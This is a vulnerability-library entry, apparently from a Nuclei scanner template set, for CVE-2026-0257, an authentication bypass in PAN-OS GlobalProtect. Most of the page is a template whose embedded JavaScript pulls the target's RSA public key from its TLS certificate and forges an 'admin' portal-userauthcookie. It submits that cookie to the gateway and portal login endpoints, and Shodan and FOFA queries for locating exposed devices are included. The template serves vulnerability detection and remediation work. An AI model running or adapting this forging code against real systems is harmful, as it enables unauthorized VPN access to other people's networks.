/Vulnerability Library

Palo Alto Networks PAN-OS - Authentication Bypass

CVE-2026-0257
Early Release

Description

Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.

Severity

Critical

CVSS Score

9.1

Exploit Probability

42%

Affected Product

pan-os

Published Date

June 1, 2026

Template Author

dhiyaneshdk, sfewer-r7

CVE-2026-0257.yaml
id: CVE-2026-0257

info:
  name: Palo Alto Networks PAN-OS - Authentication Bypass
  author: dhiyaneshdk,sfewer-r7
  severity: critical
  description: |
    Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
  impact: |
    Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.
  remediation: |
    Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.
  reference:
    - https://security.paloaltonetworks.com/CVE-2026-0257
    - https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/
    - https://github.com/sfewer-r7/CVE-2026-0257
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0257
    epss-score: 0.41505
    epss-percentile: 0.97476
    cwe-id: CWE-565
  metadata:
    verified: true
    max-request: 12
    vendor: paloaltonetworks
    product: pan-os
    shodan-query: http.title:"GlobalProtect" port:443
    fofa-query: title="GlobalProtect"
  tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical

flow: http(1) && javascript(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
      - "{{BaseURL}}/sslmgr"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code != 0"
          - 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "<msg>Invalid parameters</msg>") || contains(tolower(header), "panweb")'
        condition: and

javascript:
  - args:
      Host: "{{Host}}"
      Hostname: "{{Hostname}}"
    code: |
      let net = require("nuclei/net");
      let host = Host;
      let parts = Hostname.split(":");
      let port = parts.length > 1 ? parts[parts.length - 1] : "443";
      let user = "admin";

      function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); }
      function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); }
      function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); }
      function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; }
      function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; }

      function b64(a) {
        let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (let i = 0; i < a.length; i += 3) {
          let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i;
          r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)];
          r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "=";
          r += n > 2 ? T[z & 0x3f] : "=";
        }
        return r;
      }

      function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; }
      function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; }
      function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; }

      function buildHello(hostname) {
        let hb = str2b(hostname), ext = [];
        let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb);
        let sl = []; u16(sl, sn.length); cat(sl, sn);
        u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl);
        let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01];
        let sb = []; u16(sb, sa.length); cat(sb, sa);
        u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb);
        let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19];
        let gb = []; u16(gb, gr.length); cat(gb, gr);
        u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb);
        u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00);
        let body = []; body.push(0x03, 0x03);
        let ts = Math.floor(Date.now() / 1000);
        body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff);
        for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256));
        body.push(0x00);
        let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff];
        u16(body, cs.length); cat(body, cs);
        body.push(0x01, 0x00);
        u16(body, ext.length); cat(body, ext);
        let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body);
        let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs);
        return rec;
      }

      function parseCerts(data) {
        let hs = [], i = 0;
        while (i + 5 <= data.length) {
          let t = data[i], rl = (data[i + 3] << 8) | data[i + 4];
          if (i + 5 + rl > data.length) break;
          if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]);
          i += 5 + rl;
        }
        let certs = [], j = 0;
        while (j + 4 <= hs.length) {
          let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3];
          if (j + 4 + hl > hs.length) break;
          if (ht === 11) {
            let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl);
            while (k + 3 <= end) {
              let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2];
              if (k + 3 + cl > end) break;
              certs.push(hs.slice(k + 3, k + 3 + cl));
              k += 3 + cl;
            }
            break;
          }
          j += 4 + hl;
        }
        return certs;
      }

      function hasDone(d) {
        for (let i = 0; i + 5 <= d.length;) {
          let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4];
          if (i + 5 + rl > d.length) break;
          if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) {
            if (d[j] === 14) return true;
            j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]);
          }
          i += 5 + rl;
        }
        return false;
      }

      function rdTL(d, p) {
        let tag = d[p++], len = d[p++];
        if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; }
        return { tag: tag, len: len, pos: p };
      }

      function getRSAKey(der) {
        let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p);
        if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); }
        p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos;
        r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len);
        let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01];
        if (oid.length !== rsaOid.length) return null;
        for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null;
        p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos;
        r = rdTL(der, p); let ms = r.pos, ml = r.len;
        if (der[ms] === 0 && ml > 1) { ms++; ml--; }
        let modB = der.slice(ms, ms + ml); p = r.pos + r.len;
        r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len);
        return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length };
      }

      function forge(n, e, kl, username) {
        let ts = Math.floor(Date.now() / 1000).toString();
        let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0");
        let padLen = kl - pt.length - 3;
        if (padLen < 8) return "";
        let em = [0x00, 0x02];
        for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1);
        em.push(0x00); cat(em, pt);
        return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl));
      }

      function encodeCookie(cookie) {
        return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D");
      }

      function testCookie(cookieB64, context) {
        let cookieEnc = encodeCookie(cookieB64);
        let body = "prot=https&server=" + host +
          "&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" +
          "&user=" + user + "&passwd=&context=" + context +
          "&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" +
          "&os-version=Microsoft+Windows+10+Pro+64-bit" +
          "&portal-userauthcookie=" + cookieEnc +
          "&portal-prelogonuserauthcookie=";
        let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" +
          "Host: " + host + "\r\n" +
          "Content-Type: application/x-www-form-urlencoded\r\n" +
          "User-Agent: GlobalProtect/6.0.0\r\n" +
          "Content-Length: " + body.length + "\r\n" +
          "Connection: close\r\n\r\n" + body;
        let conn = net.OpenTLS("tcp", host + ":" + port);
        conn.SetTimeout(10);
        conn.Send(req);
        let resp = conn.RecvFullString(0);
        conn.Close();
        return resp;
      }

      function isGatewaySuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<status>Success</status>") !== -1 ||
          (resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1);
      }

      function isPortalSuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1;
      }

      let result = "";
      try {
        let hello = buildHello(host);
        let conn = net.Open("tcp", host + ":" + port);
        conn.SetTimeout(5);
        conn.SendHex(toHex(hello));
        let raw = [];
        for (let a = 0; a < 10; a++) {
          try {
            let c = conn.Recv(32768);
            if (!c || c.length === 0) break;
            for (let i = 0; i < c.length; i++) raw.push(c[i]);
            if (hasDone(raw)) break;
          } catch (e) { break; }
        }
        conn.Close();

        let certs = parseCerts(raw);
        for (let i = 0; i < certs.length && result === ""; i++) {
          let key = null;
          try { key = getRSAKey(certs[i]); } catch (e) { continue; }
          if (!key) continue;
          let cookie = forge(key.n, key.e, key.kl, user);
          if (!cookie) continue;

          let gwResp = testCookie(cookie, "gateway");
          if (isGatewaySuccess(gwResp)) {
            result = "GlobalProtect auth bypass confirmed (gateway): " + user;
            break;
          }

          let portalResp = testCookie(cookie, "portal");
          if (isPortalSuccess(portalResp)) {
            result = "GlobalProtect auth bypass confirmed (portal): " + user;
            break;
          }
        }
      } catch (e) {}

      Export(result);

    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - "contains(response, 'GlobalProtect auth bypass confirmed')"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - response
# digest: 490a0046304402200bd4ed6134df74679a45f473963663624038dafb97a714f141dff4b19fb02a2302200e75c64d346a6a1e78ed3bb62ba9ef0fd9a1213da3b93fc65bce48ab968c04c2:922c64590222798bb761d5b6d8e72950
9.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-0257
CWE ID:
cwe-565

References

https://security.paloaltonetworks.com/CVE-2026-0257https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/https://github.com/sfewer-r7/CVE-2026-0257

Remediation Steps

Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.